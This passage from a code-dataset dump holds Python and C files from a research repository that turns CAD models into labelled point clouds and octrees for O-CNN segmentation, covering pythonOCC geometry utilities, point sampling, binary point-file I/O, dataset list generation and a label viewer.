= XCAFDoc_DocumentTool_ShapeTool(doc.Main())\n l_Colors = XCAFDoc_DocumentTool_ColorTool(doc.Main())\n shape_tool = h_shape_tool.GetObject()\n color_tool = l_Colors.GetObject()\n \n return shape_tool, color_tool\n \n'''\ninput\n shape: TopoDS_Shape\noutput\n fset: {TopoDS_Face}\n'''\ndef set_face(shape):\n fset = set()\n exp = TopExp_Explorer(shape,TopAbs_FACE)\n while exp.More():\n s = exp.Current() \n exp.Next()\n face = topods.Face(s) \n fset.add(face)\n \n return fset\n\n\n'''\ninput\n shape: TopoDS_Shape\noutput\n eset: {TopoDS_Edge}\n'''\ndef set_edge(shape):\n eset = set()\n exp = TopExp_Explorer(shape,TopAbs_EDGE)\n while exp.More():\n s = exp.Current() \n exp.Next()\n e = topods.Edge(s) \n eset.add(e)\n# print(face)\n \n return eset\n\n\n'''\n'''\ndef get_boundingbox(shape, tol=1e-6, use_mesh=True):\n \"\"\" return the bounding box of the TopoDS_Shape `shape`\n Parameters\n ----------\n shape : TopoDS_Shape or a subclass such as TopoDS_Face\n the shape to compute the bounding box from\n tol: float\n tolerance of the computed boundingbox\n use_mesh : bool\n a flag that tells whether or not the shape has first to be meshed before the bbox\n computation. This produces more accurate results\n \"\"\"\n bbox = Bnd_Box()\n bbox.SetGap(tol)\n if use_mesh:\n mesh = BRepMesh_IncrementalMesh()\n mesh.SetParallel(True)\n mesh.SetShape(shape)\n mesh.Perform()\n assert mesh.IsDone()\n brepbndlib_Add(shape, bbox, use_mesh)\n\n xmin, ymin, zmin, xmax, ymax, zmax = bbox.Get()\n return xmin, ymin, zmin, xmax, ymax, zmax, xmax-xmin, ymax-ymin, zmax-zmin\n\n\n'''\ninput\n face: TopoDS_Face\noutput\n P: gp_Pnt\n D: gp_Dir\n'''\ndef sample_point(face):\n # randomly choose a point from F\n u_min, u_max, v_min, v_max = breptools_UVBounds(face) \n u = random.uniform(u_min, u_max)\n v = random.uniform(v_min, v_max)\n \n itool = IntTools_FClass2d(face, 1e-6)\n while itool.Perform(gp_Pnt2d(u,v)) != 0:\n print('outside')\n u = random.uniform(u_min, u_max)\n v = random.uniform(v_min, v_max) \n \n P = BRepAdaptor_Surface(face).Value(u, v)\n\n# the normal\n surf = BRep_Tool_Surface(face) \n D = GeomLProp_SLProps(surf,u,v,1,0.01).Normal() \n if face.Orientation() == TopAbs_REVERSED:\n D.Reverse()\n \n return P, D\n \n" }, { "alpha_fraction": 0.5310408473014832, "alphanum_fraction": 0.552959680557251, "avg_line_length": 28.843137741088867, "blob_id": "825e95d6243adaabb2e0c0f5d8ff2d6b1110603b", "content_id": "954543da51db671948517537caab3e8400c475a0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7619, "license_type": "permissive", "max_line_length": 114, "num_lines": 255, "path": "/python/point_cloud.py", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 28 15:37:43 2018\n\n@author: 2624224\n\"\"\"\n\n##Copyright 2010-2017 Thomas Paviot ([email protected])\n##\n##This file is part of pythonOCC.\n##\n##pythonOCC is free software: you can redistribute it and/or modify\n##it under the terms of the GNU Lesser General Public License as published by\n##the Free Software Foundation, either version 3 of the License, or\n##(at your option) any later version.\n##\n##pythonOCC is distributed in the hope that it will be useful,\n##but WITHOUT ANY WARRANTY; without even the implied warranty of\n##MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n##GNU Lesser General Public License for more details.\n##\n##You should have received a copy of the GNU Lesser General Public License\n##along with pythonOCC. If not, see <http://www.gnu.org/licenses/>.\n\nfrom __future__ import print_function\n\nimport numpy as np\nimport math\nfrom multiprocessing import Pool\n\n##########################\n# OCC library\n##########################\nfrom OCC.BRepAdaptor import BRepAdaptor_Surface, BRepAdaptor_Curve\nfrom OCC.BRepMesh import BRepMesh_IncrementalMesh\nfrom OCC.BRep import BRep_Tool, BRep_Tool_Surface\nfrom OCC.TopLoc import TopLoc_Location\nfrom OCC.GeomLProp import GeomLProp_SLProps\nfrom OCC.TopAbs import TopAbs_REVERSED\nfrom OCC.GCPnts import GCPnts_AbscissaPoint\n\n#==============================================================================\n# local library\n#==============================================================================\nfrom occ_utils import set_face, get_boundingbox\n\n#logging.basicConfig(level=logging.INFO)\n#\n#logger = logging.getLogger(__name__)\n\n#from OCCUtils.edge import Edge\n#def points_from_edge_interior(edge, resolution):\n# # compute edge length and number of sample points\n# edge_len = GCPnts_AbscissaPoint().Length(BRepAdaptor_Curve(edge))\n# N = int(edge_len / resolution)\n# edge_util = Edge(edge)\n# edge_util.divide_by_number_of_points(N)\n # \n \n'''\ninput\n shape: TopoDS_Shape\noutput\n pts: [[float,float,float]]\n uvs: [[float,float]]\n triangles: [[int,int,int]]\n triangle_faces: [TopoDS_Face] \n''' \ndef triangulation_from_shape(shape):\n linear_deflection = 0.9\n angular_deflection = 0.5\n mesh = BRepMesh_IncrementalMesh(shape, linear_deflection, False, angular_deflection, True)\n mesh.Perform()\n assert mesh.IsDone()\n \n pts = []\n uvs = []\n triangles = []\n triangle_faces = []\n faces = set_face(shape)\n offset = 0\n for f in faces:\n aLoc = TopLoc_Location()\n aTriangulation = BRep_Tool().Triangulation(f, aLoc).GetObject()\n aTrsf = aLoc.Transformation()\n aOrient = f.Orientation()\n\n aNodes = aTriangulation.Nodes()\n aUVNodes = aTriangulation.UVNodes()\n aTriangles = aTriangulation.Triangles()\n \n for i in range(1, aTriangulation.NbNodes() + 1):\n pt = aNodes.Value(i)\n pt.Transform(aTrsf)\n pts.append([pt.X(),pt.Y(),pt.Z()])\n uv = aUVNodes.Value(i)\n uvs.append([uv.X(),uv.Y()])\n \n for i in range(1, aTriangulation.NbTriangles() + 1):\n n1, n2, n3 = aTriangles.Value(i).Get()\n n1 -= 1\n n2 -= 1\n n3 -= 1\n if aOrient == TopAbs_REVERSED:\n tmp = n1\n n1 = n2\n n2 = tmp\n n1 += offset\n n2 += offset\n n3 += offset\n triangles.append([n1, n2, n3])\n triangle_faces.append(f)\n offset += aTriangulation.NbNodes()\n\n return pts, uvs, triangles, triangle_faces\n\n \n'''\ninput\n uv1: [float,float]\n uv2: [float,float]\n uv3: [float,float]\n N1: int\n N2: int\noutput\n uvs: [[float,float]]\n''' \ndef uvs_from_interpolation(uv1, uv2, uv3, Nv, Nh):\n uvs = []\n for i in range(Nv + 1):#[0, Nv]\n t1 = i / Nv#[0, 1]\n uv12 = np.multiply(uv2, t1) + np.multiply(uv1, 1 - t1)#[uv1, uv2]\n uv13 = np.multiply(uv3, t1) + np.multiply(uv1, 1 - t1)#[uv1, uv3]\n N = int(Nh * t1) #[1, N2 + 1]\n if N == 0:\n N = 1\n for j in range(N + 1):#[0, 1] [0, N2]\n t2 = j / N #[0, 1]\n uv = np.multiply(uv12, t2) + np.multiply(uv13, 1 - t2)#uv12 * t2 + uv13 * (1 - t2)\n uvs.append(uv)\n \n return uvs \n \n \n'''\ninput\n t: ([[float,float,float],[float,float,float],[float,float,float]],\n [[float,float],[float,float],[float,float]],\n TopoDS_Face,\n float)\noutput\n samples: [[float,float,float]]\n normals: [[float,float,float]]\n f: TopoDS_Face\n''' \ndef points_sample_from_triangle(t):\n samples = []\n normals = []\n\n p = np.array([np.array(t[0][0]), np.array(t[0][1]), np.array(t[0][2])])\n l = np.array([np.sum(np.square(p[1] - p[2])), np.sum(np.square(p[0] - p[2])), np.sum(np.square(p[0] - p[1]))])\n li = np.argsort(l)\n l = l[li] \n \n resolution = t[3]\n Nv = int(np.sqrt(l[2]) / resolution)\n if Nv == 0:\n Nv = 1\n Nh = int(np.sqrt(l[0]) / resolution)\n if Nh == 0:\n Nh =1 \n \n uv0 = t[1][li[0]]\n uv1 = t[1][li[1]]\n uv2 = t[1][li[2]]\n \n uvs = uvs_from_interpolation(uv0,uv1,uv2,Nv,Nh)\n f = t[2]\n surf = BRep_Tool_Surface(f)\n for uv in uvs:\n pt = BRepAdaptor_Surface(f).Value(uv[0],uv[1]) \n samples.append([pt.X(),pt.Y(),pt.Z()])\n # the normal\n D = GeomLProp_SLProps(surf,uv[0],uv[1],1,0.01).Normal() \n if f.Orientation() == TopAbs_REVERSED:\n D.Reverse()\n normals.append([D.X(),D.Y(),D.Z()])\n \n return (samples, normals, f)\n\n\n'''\ninput\n shape: TopoDS_Shape\n resolution: float \noutput\n traingles: [([],[],TopoDS_Face,float)]\n'''\ndef triangles_from_shape(shape, resolution):\n tri_pts, tri_uvs, tri_facets, tri_faces = triangulation_from_shape(shape)\n print('number of traingulation nodes:', len(tri_pts))\n triangles = []\n for i in range(len(tri_facets)):\n t_idx = tri_facets[i]\n pts = []\n uv= []\n for idx in t_idx:\n pts.append(tri_pts[idx])\n uv.append(tri_uvs[idx])\n f= tri_faces[i] \n triangles.append((pts,uv,f,resolution)) \n\n return triangles\n\n \n'''\ninput\n shape: TopoDS_Shape\n name_map: {TopoDS_Face:{'label':int, 'id':int}}\n resolution: float\noutput\n cloud_pts: [[float,float,float]]\n cloud_normals: [[float,float,float]]\n cloud_segs: [int]\n face_ids: [int]\n''' \ndef point_cloud_from_labeled_shape(shape, label_map, id_map, resolution=0.1): \n print('point_cloud_from_labeled_shape')\n cloud_pts = []\n cloud_normals = []\n cloud_feats = []\n cloud_segs = []\n face_ids = []\n triangles = triangles_from_shape(shape, resolution) \n for t in triangles:\n r = points_sample_from_triangle(t)\n cloud_pts += r[0]\n cloud_normals += r[1] \n cloud_segs += [label_map[r[2]]] * len(r[0])\n face_ids += [id_map[r[2]]] * len(r[0])\n print('number of points:', len(cloud_pts)) \n return cloud_pts, cloud_normals, cloud_feats, cloud_segs, face_ids\n\n\n'''\ninput\n shape: TopoDS_Shape\noutput\n resolution: float\n''' \ndef resolution_from_shape(shape):\n xmin, ymin, zmin, xmax, ymax, zmax, xlen, ylen, zlen = get_boundingbox(shape, use_mesh = False)\n resolution = max(xlen, ylen, zlen) / 256\n \n return resolution \n\n" }, { "alpha_fraction": 0.6473214030265808, "alphanum_fraction": 0.7176339030265808, "avg_line_length": 34.880001068115234, "blob_id": "dcadeda558ef87f876d84e525eb31414749ce209", "content_id": "77fd40b51b85d4c7b6e8855145a19ce82dca5aab", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 896, "license_type": "permissive", "max_line_length": 184, "num_lines": 25, "path": "/python/caffe_test_routine.py", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 22 17:26:25 2019\n\n@author: 2624224\n\"\"\"\nimport os\nimport subprocess\nimport shutil\n\ncaffe = 'C:/Users/2624224/caffe/build/tools/Release/caffe.exe'\n\ndataset_dir = 'C:/Users/2624224/caffe/data/shapenet/'\ncategory = '03001627'\n\nfeature_dir = dataset_dir + category + '_feature/'\nif not os.path.exists(feature_dir):\n\tos.mkdir(feature_dir)\n\n# modify prototxt specified by --model: data source; num_output of deconv2_ip layer\n# set --weights to the right trained caffemoddel \n# set --iterations to the number of models to be tested\t\nblob_prefix = '--blob_prefix=' + feature_dir\nsubprocess.check_call([caffe, 'test', '--model=C:/Users/2624224/caffe/examples/o-cnn/segmentation_5_test.prototxt', '--weights=C:/Users/2624224/caffe/examples/o-cnn/seg_5.caffemodel', \n'--gpu=0', blob_prefix, '--binary_mode=false', '--save_seperately=true', '--iterations=749'])" }, { "alpha_fraction": 0.5810023546218872, "alphanum_fraction": 0.5891608595848083, "avg_line_length": 35.446807861328125, "blob_id": "dd4b814ac277abc3f76c9eaadc565e9a7c138187", "content_id": "40a8018ae3a8cfc17264218f534379c45169f759", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3432, "license_type": "permissive", "max_line_length": 158, "num_lines": 94, "path": "/python/generate_shape_and_points.py", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Feb 22 16:24:02 2019\n\n@author: 2624224\n\"\"\"\nimport pickle\nimport os\n\nfrom data_import_export import shape_with_fid_to_step, shape_with_fid_from_step, upgraded_point_cloud_to_file, labels_from_file, label_index_from_file \nfrom model_factory import shape_drain\nfrom point_cloud import point_cloud_from_labeled_shape, resolution_from_shape \n\nroot_dir = 'D:/Weijuan/dataset/cad/'\ncategory_name = 'marche'\nnum_shapes = 1\n\nshape_dir = root_dir + category_name + '_shape/'\npoints_dir = root_dir + category_name + '_points/'\noctree_dir = root_dir + category_name + '_octree/'\nlmdb_dir = root_dir + category_name + '_lmdb/'\nfeature_dir = root_dir + category_name + '_feature/'\nlist_dir = root_dir + category_name + '_list/'\n\npath_names = [shape_dir, points_dir, octree_dir, feature_dir, list_dir]\nfor path in path_names:\n if not os.path.exists(path):\n os.mkdir(path)\n\ndef generate_paths_file(where, to, suffix): \n prefix = where\n if suffix is 'octree':\n prefix = where.split('/')[-2] + '/'\n\n names = os.listdir(where)\n \n filename = category_name + '_' + suffix + '.txt'\n print(filename)\n filepath = to + filename\n with open(filepath, 'w') as f:\n for name in names:\n if suffix is not '' and name.find(suffix) is not -1:\n f.write(prefix + name + '\\n')\n \n \ndef generate_shapes(): \n for i in range(num_shapes):\n shape, label_map, id_map, shape_name = shape_drain()\n \n step_path = shape_dir + shape_name + '.step'\n if not os.path.exists(step_path):\n shape_with_fid_to_step(step_path, shape, id_map)\n \n face_truth_path = shape_dir + shape_name + '.face_truth'\n face_truth = [label_map[f] for f, fid in sorted(id_map.items(), key = lambda kv: kv[1])] \n with open(face_truth_path, 'wb') as f:\n pickle.dump(face_truth, f)\n\n \ndef generate_points():\n shape_list_dir = list_dir + category_name + '_step.txt'\n with open(shape_list_dir) as f:\n shape_dirs = [line.strip() for line in f.readlines()]\n\n for path in shape_dirs:\n shape_name = path.split('/')[-1].split('.')[0]\n file_path = points_dir + shape_name + '.points'\n if os.path.exists(file_path):\n continue\n \n shape, id_map = shape_with_fid_from_step(path)\n face_truth_path = shape_dir + shape_name + '.face_truth'\n with open(face_truth_path, 'rb') as f:\n face_truth = pickle.load(f) \n label_map = {f: face_truth[id_map[f]] for f in id_map} \n\n res = resolution_from_shape(shape)\n print('resolution', res) \n pts, normals, feats, segs, face_ids = point_cloud_from_labeled_shape(shape, label_map, id_map, res)\n upgraded_point_cloud_to_file(file_path,pts,normals,feats,segs)\n \n face_index_path = points_dir + shape_name + '.face_index'\n with open(face_index_path, 'wb') as f:\n pickle.dump(face_ids, f)\n \n \nif __name__ == '__main__':\n#1. shape_drain --> shape, label_map, id_map, shape_name \n generate_shapes()\n generate_paths_file(shape_dir, list_dir, 'step') \n\n#2. shape, label_map, id_map --> point_cloud.py --> *.points, *.face_index, *.points_truth \n generate_points()\n generate_paths_file(points_dir, list_dir, 'points') \n\n" }, { "alpha_fraction": 0.7577639818191528, "alphanum_fraction": 0.7701863646507263, "avg_line_length": 31.200000762939453, "blob_id": "ae09986b35ebcedbe1c42f2703ba66dcce794407", "content_id": "fca7f92d871d1275c1fab618193ae925e6ff09d3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 161, "license_type": "permissive", "max_line_length": 49, "num_lines": 5, "path": "/ocnn/octree/_skbuild/win-amd64-3.5/cmake-build/octree_config.h", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "// the configured options and settings for Octree\n#define OCTREE_VERSION_MAJOR 1\n#define OCTREE_VERSION_MINOR 0\n#define USE_MINIBALL\n/* #undef USE_WINDOWS_IO */\n" }, { "alpha_fraction": 0.5662562251091003, "alphanum_fraction": 0.5874680280685425, "avg_line_length": 36.117645263671875, "blob_id": "52b2ebf9e7eb0bb7128a51ed27bcdd2fd699585c", "content_id": "0449a722e9a504b3c699db729f7c5dafdd03a49d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8203, "license_type": "permissive", "max_line_length": 168, "num_lines": 221, "path": "/python/data_render.py", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 18 17:05:26 2019\n\n@author: 2624224\n\"\"\"\n\nfrom OCC.AIS import AIS_PointCloud, AIS_ColoredShape\nfrom OCC.Graphic3d import Graphic3d_ArrayOfPoints\nfrom OCC.Display.OCCViewer import rgb_color\nfrom OCC.Display.SimpleGui import init_display\n\nimport os\nimport random\nimport pickle\n\nfrom data_import_export import upgraded_point_cloud_from_file, labels_from_file, label_index_from_file, shape_with_fid_from_step\n\n\ncolors = [rgb_color(0,0,0), rgb_color(0.75,0.75,0.75), rgb_color(1,0,0), rgb_color(1,0.5,0), \n rgb_color(0,1,1), rgb_color(1,0,1), rgb_color(1,0.8,0.8), rgb_color(1,1,0.8), \n rgb_color(0.8,1,1), rgb_color(1,0.8,1), rgb_color(0.4,0,0), rgb_color(0.4,0.4,0), \n rgb_color(0,0.4,0.4), rgb_color(0.4,0,0.4)]\n\n\nclass SegShapeViewer:\n '''\n input\n octree_list_file_name: \n content example: test_octree/hole-1(1[triangle2])3(2[sweep]1[circle])2(2[sweep])4(1[circle]2[sweep]1[rectangle]).upgrade_6_2_000.octree\n dataset_dir: direcotry where directories of points, octrees and labels are\n example: 'F:/wjcao/datasets/TestCAD'\n points directory example: test_upgraded, octree directory example: test_octree \n '''\n def __init__(self, root_path, category_name, list_name, depth_sep):\n self.shape_points_mode = 'shape'\n self.truth_predicted_mode = 'truth'\n self.depth_sep = depth_sep\n self.dataset_dir = root_path \n self.points_category = category_name\n self.current_index = 0\n \n list_path = root_path + '/' + category_name + '_list/' + list_name\n f = open(list_path, 'r')\n lines = f.readlines()\n f.close()\n \n # list of points names, example: hole-1(1[triangle2])3(2[sweep]1[circle])2(2[sweep])4(1[circle]2[sweep]1[rectangle]).upgrade\n self.shape_names = []\n # list of points category names, same length as shape_names, example: test\n \n \n for line in lines:\n # string specific to octree file names, example: _6_2_000 \n self.shape_names.append(line.split('/')[-1].split('.')[0]) \n \n\n def load_shape(self):\n \n # load shape and face_index\n shape_path = self.dataset_dir + '/' + self.points_category + '_shape/' + self.shape_names[self.current_index] + '.step'\n self.shape, id_map = shape_with_fid_from_step(shape_path)\n face_truth_path = self.dataset_dir + '/' + self.points_category + '_shape/' + self.shape_names[self.current_index] + '.face_truth'\n with open(face_truth_path, 'rb') as f:\n label_map = pickle.load(f)\n self.face_truth = {f:label_map[id_map[f]] for f in id_map}\n\n face_predicted_path = self.dataset_dir + '/' + self.points_category + '_shape/' + self.shape_names[self.current_index] + '.face_predicted'\n if os.path.exists(face_predicted_path):\n with open(face_predicted_path, 'rb') as f:\n label_map = pickle.load(f)\n self.face_predicted = {f:label_map[id_map[f]] for f in id_map}\n\n # load point cloud \n points_path = self.dataset_dir + '/' + self.points_category + '_points/' + self.shape_names[self.current_index] + '.points'\n self.points,normals,features,self.points_truth = upgraded_point_cloud_from_file(points_path)\n \n points_predicted_path = self.dataset_dir + '/' + self.points_category + '_points/' + self.shape_names[self.current_index] + self.depth_sep + '.points_predicted'\n if os.path.exists(points_predicted_path):\n with open(points_predicted_path, 'rb') as f:\n self.points_predicted = pickle.load(f) \n \n \n def next_shape(self):\n self.current_index += 1\n if self.current_index >= len(self.shape_names):\n self.current_index = 0\n \n print(self.shape_names[self.current_index])\n self.load_shape()\n self.display()\n \n \n def display(self):\n if self.shape_points_mode is 'shape':\n if self.truth_predicted_mode is 'truth':\n display_shape(self.shape, self.face_truth)\n self.label_suffix = 'shape_groundtruth'\n else:\n display_shape(self.shape, self.face_predicted)\n self.label_suffix = 'shape_predicted'\n else:\n if self.truth_predicted_mode is 'truth':\n display_points(self.points, self.points_truth)\n self.label_suffix = 'points_groundtruth'\n else:\n display_points(self.points, self.points_predicted)\n self.label_suffix = 'points_predicted'\n \n \n def save_image(self):\n image_name = self.dataset_dir + '/' + self.points_category + '_feature/' + self.shape_names[self.current_index] + self.label_suffix + '.jpeg'\n occ_display.View.Dump(image_name)\n \n \ndef display_shape(shape, fmap):\n occ_display.EraseAll()\n ais = AIS_ColoredShape(shape) \n for f in fmap: \n ais.SetCustomColor(f, colors[fmap[f]]) \n \n occ_display.Context.Display(ais.GetHandle())\n occ_display.View_Iso()\n occ_display.FitAll()\n \n \ndef display_points(pts, labels):\n occ_display.EraseAll() \n \n print('number of points:', len(pts))\n feats = [None] * 14\n\n if len(labels) > 0:\n for i in range(len(pts)):\n feat_id = labels[i]\n if feats[feat_id] is None:\n feats[feat_id] = [pts[i]]\n else:\n feats[feat_id].append(pts[i])\n else:\n feats[0] = pts\n \n for i in range(len(feats)):\n feat = feats[i]\n if feat is None:\n continue \n print('number of feature ' + str(i) + ' points:', len(feat))\n n_points = len(feat)\n points_3d = Graphic3d_ArrayOfPoints(n_points)\n for pt in feat:\n points_3d.AddVertex(pt[0], pt[1], pt[2])\n \n point_cloud = AIS_PointCloud()\n point_cloud.SetPoints(points_3d.GetHandle())\n point_cloud.SetColor(colors[i])\n \n ais_context.Display(point_cloud.GetHandle()) \n occ_display.View_Iso()\n occ_display.FitAll()\n\n \nocc_display, start_occ_display, add_menu, add_function_to_menu = init_display()\nais_context = occ_display.GetContext().GetObject()\n\n#category_names = ['03001627','04099429','03790512','03797390']\n#dataset_dir = 'F:/wjcao/datasets/ocnn'\n#labels_subdir = category_names[0] + '_feature' \n#octree_list_file_name = dataset_dir + category_names[0] + '_octree_names_shuffle.txt'\n\n\nroot_path = 'D:/Weijuan/dataset/cad'\ncategory_name = 'marche'\nlist_name = 'marche_step.txt'\ndepth_sep = '_6_2_000'\n\npoints_render = SegShapeViewer(root_path, category_name, list_name, depth_sep)\n\ndef next_shape():\n points_render.next_shape()\n\n \ndef save_image():\n points_render.save_image()\n\n \ndef save_all():\n for i in range(min(len(points_render.shape_names),50)):\n points_render.next_shape()\n save_image()\n points_render.display_predicted()\n save_image()\n \n \ndef switch_shape_points():\n if points_render.shape_points_mode is 'shape': \n points_render.shape_points_mode = 'points'\n points_render.display()\n else:\n points_render.shape_points_mode = 'shape'\n points_render.display()\n\n \ndef switch_truth_predicted():\n if points_render.truth_predicted_mode is 'predicted':\n points_render.truth_predicted_mode = 'truth'\n points_render.display()\n else:\n points_render.truth_predicted_mode = 'predicted'\n points_render.display()\n \nif __name__ == '__main__':\n random.seed()\n \n add_menu('Display')\n add_function_to_menu('Display', next_shape)\n add_function_to_menu('Display', switch_shape_points)\n add_function_to_menu('Display', switch_truth_predicted)\n add_function_to_menu('Display', save_image)\n add_function_to_menu('Display', save_all) \n \n start_occ_display()\n" }, { "alpha_fraction": 0.5192837715148926, "alphanum_fraction": 0.5344352722167969, "avg_line_length": 26.09433937072754, "blob_id": "6ede28f78ed39c7369c1dbb4f861ca14ed3d08e3", "content_id": "6d8ddf2524069a3e4bef1cb7dba32e000a2e77e1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1452, "license_type": "permissive", "max_line_length": 114, "num_lines": 53, "path": "/python/generate_file_list.py", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 28 15:43:49 2019\n\n@author: 2624224\n\"\"\"\n\nimport argparse\nimport os\n\ndef names_file_from_dir(rootdir, subdir, suffix = ''):\n file_dir = rootdir + subdir\n \n list_name = file_dir + '_names.txt'\n \n file_names = os.listdir(file_dir)\n \n with open(list_name, 'w') as f:\n for name in file_names:\n if suffix is not '' and name.find(suffix) is not -1:\n f.write(subdir + '/' + name + '\\n')\n\n \ndef paths_file_from_dir(rootdir, subdir):\n \n file_dir = rootdir + subdir\n \n list_name = file_dir + '_paths.txt'\n \n file_names = os.listdir(file_dir)\n \n with open(list_name, 'w') as f:\n for name in file_names:\n f.write(file_dir + '/' +name + '\\n')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--rootdir\",\n type=str,\n help=\"Base folder containing the directory of files. Example: F:/wjcao/datasets/TestCAD/\",\n required=True)\n \n parser.add_argument(\"--subdir\",\n type=str,\n help=\"name of the sub-directory containing the files. Example: test_cad_octree_6\",\n required=True)\n \n args = parser.parse_args()\n\n names_file_from_dir(args.rootdir, args.subdir)\n paths_file_from_dir(args.rootdir, args.subdir) \n " }, { "alpha_fraction": 0.5142965912818909, "alphanum_fraction": 0.5320879220962524, "avg_line_length": 25.372482299804688, "blob_id": "df1bc9b6f573d599683b6ad30eb2ba8139039c8a", "content_id": "3fe6d8fa246719939b5fd551708d4f80ec07654d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7873, "license_type": "permissive", "max_line_length": 133, "num_lines": 298, "path": "/python/data_import_export.py", "repo_name": "hducg/O-CNN", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 18 12:17:14 2019\n\n@author: 2624224\n\"\"\"\n\n'''\ninput\n filename: ''\n has_label: bool\noutput\n pts: [[float,float,float]]\n normals: [[float,float,float]]\n segs: [int]\n''' \nimport struct \ndef point_cloud_from_file(filename, has_label=True):\n f = open(filename,'rb')\n num = struct.unpack('i', f.read(4))[0]\n print(num)\n pts = []\n for i in range(num):\n x = struct.unpack('f', f.read(4))[0]\n y = struct.unpack('f', f.read(4))[0]\n z = struct.unpack('f', f.read(4))[0]\n pts.append([x, y, z]) \n \n normals = []\n for i in range(num):\n x = struct.unpack('f', f.read(4))[0]\n y = struct.unpack('f', f.read(4))[0]\n z = struct.unpack('f', f.read(4))[0]\n normals.append([x, y, z]) \n \n segs = []\n if has_label is True:\n for i in range(num):\n seg = struct.unpack('i', f.read(4))[0]\n segs.append(seg)\n \n f.close()\n return pts, normals, segs\n \n\n'''\ninput\n filename: ''\n pts: [[float,float,float]]\n normals: [[float,float,float]]\n segs: [int] \n''' \ndef point_cloud_to_file(filename, pts, normals, segs):\n f = open(filename,'wb')\n num = len(pts)\n f.write(struct.pack('i',num))\n for p in pts:\n f.write(struct.pack('f',p[0]))\n f.write(struct.pack('f',p[1]))\n f.write(struct.pack('f',p[2]))\n \n for n in normals:\n f.write(struct.pack('f',n[0]))\n f.write(struct.pack('f',n[1]))\n f.write(struct.pack('f',n[2]))\n \n for s in segs:\n f.write(struct.pack('i',s))\n \n f.close() \n \n'''\ninput\n filename: ''\noutput\n pts: [[float] * 3] * number of point\n normals: [[float] * 3] * number of point\n features: [[float] * number of channels] * number of point\n labels: [int] * number of point\n''' \ndef upgraded_point_cloud_from_file(filename):\n f = open(filename,'rb')\n \n magic_str_ = []\n for i in range(16):\n magic_str_.append(struct.unpack('c',f.read(1))[0])\n \n npt = struct.unpack('i',f.read(4))[0]\n \n content_flags_ = struct.unpack('i',f.read(4))[0]\n \n channels_ = []\n for i in range(8):\n channels_.append(struct.unpack('i',f.read(4))[0])\n \n ptr_dis_ = [] \n for i in range(8):\n ptr_dis_.append(struct.unpack('i',f.read(4))[0])\n \n print(magic_str_)\n print(npt)\n print(content_flags_)\n print(channels_)\n print(ptr_dis_)\n \n pts = [] \n for i in range(npt):\n x = struct.unpack('f', f.read(4))[0]\n y = struct.unpack('f', f.read(4))[0]\n z = struct.unpack('f', f.read(4))[0]\n pts.append([x, y, z])\n \n normals = []\n for i in range(npt):\n x = struct.unpack('f', f.read(4))[0]\n y = struct.unpack('f', f.read(4))[0]\n z = struct.unpack('f', f.read(4))[0]\n normals.append([x, y, z])\n \n features = []\n if content_flags_ & 4 != 0:\n cnum = channels_[2]\n for i in range(npt):\n feat = []\n for j in range(cnum):\n feat.append(struct.unpack('f',f.read(4))[0])\n features.append(feat)\n \n labels = [] \n if content_flags_ & 8 != 0:\n for i in range(npt):\n label = struct.unpack('f',f.read(4))[0]\n labels.append(int(label))\n \n f.close() \n return pts, normals, features, labels\n\n\ndef upgraded_point_cloud_to_file(filename, pts, normals, features, labels):\n print('upgraded_point_cloud_to_file')\n npt = len(pts)\n if len(normals) != npt and len(features) != npt:\n print('either normal or feature info is not correct')\n return npt\n \n f = open(filename, 'wb')\n magic_str = '_POINTS_1.0_\\0\\0\\0\\0' \n for i in range(16):\n f.write(struct.pack('c', magic_str[i].encode('ascii')))\n \n f.write(struct.pack('i', npt))\n\n content_flags = 0|1 # KPoint = 1\n channels = [0] * 8\n channels[0] = 3 \n ptr_dis = [0] * 8 \n ptr_dis[0] = 88\n if len(normals) > 0:\n content_flags |= 2 # KNormal = 2\n channels[1] = 3\n if len(features) > 0:\n content_flags |= 4 # KFeature = 4\n channels[2] = len(features[0])\n if len(labels) > 0:\n content_flags |= 8 # KLabel = 8\n channels[3] = 1\n for i in range(1, 5):\n ptr_dis[i] = ptr_dis[i-1] + 4 * npt * channels[i-1]\n \n f.write(struct.pack('i', content_flags))\n \n for i in range(8):\n f.write(struct.pack('i', channels[i]))\n \n for i in range(8):\n f.write(struct.pack('i', ptr_dis[i]))\n \n for p in pts:\n f.write(struct.pack('f', p[0]))\n f.write(struct.pack('f', p[1]))\n f.write(struct.pack('f', p[2]))\n \n for n in normals:\n f.write(struct.pack('f', n[0])) \n f.write(struct.pack('f', n[1]))\n f.write(struct.pack('f', n[2]))\n \n for f in features:\n for item in f:\n f.write(struct.pack('f', item))\n \n for l in labels:\n f.write(struct.pack('f',l))\n \n f.close()\n return npt\n \n'''\ninput\n filename: ''\noutput\n labels: [int] * number of lines\n''' \ndef labels_from_file(filename):\n labels = []\n f = open(filename,'r')\n for line in f:\n labels.append(int(float(line)))\n \n f.close() \n return labels\n\n\ndef label_index_from_file(filename):\n print('label_index_from_file')\n label_index = []\n f = open(filename,'rb')\n 